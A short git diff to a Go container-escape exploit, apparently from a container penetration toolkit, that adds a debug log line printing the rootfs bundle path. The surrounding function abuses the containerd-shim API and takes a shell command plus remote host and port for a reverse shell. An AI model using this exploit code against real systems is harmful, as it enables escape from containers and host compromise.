diff --git a/pkg/exploit/escaping/containerd_shim_pwn.go b/pkg/exploit/escaping/containerd_shim_pwn.go index 6beea23..eb522bd 100644 --- a/pkg/exploit/escaping/containerd_shim_pwn.go +++ b/pkg/exploit/escaping/containerd_shim_pwn.go @@ -124,9 +124,12 @@ func containerdShimApiExp(sock, shellCmd, rhost, rport string) error { localBundlePath := fmt.Sprintf("/cdk_%s", util.RandString(6)) os.Mkdir(localBundlePath, os.ModePerm) + // dockerAbsPath := GetDockerAbsPath() + "/merged" + localBundlePath absPath := GetDockerAbsPath() absPath = strings.TrimSuffix(absPath, "/merged") dockerAbsPath := filepath.Join(absPath, "merged", localBundlePath) + // add a new log info, to find bug in real world + log.Println("rootfs path, dockerAbsPath:", dockerAbsPath) var payloadShellCmd = "" if len(shellCmd) > 0 {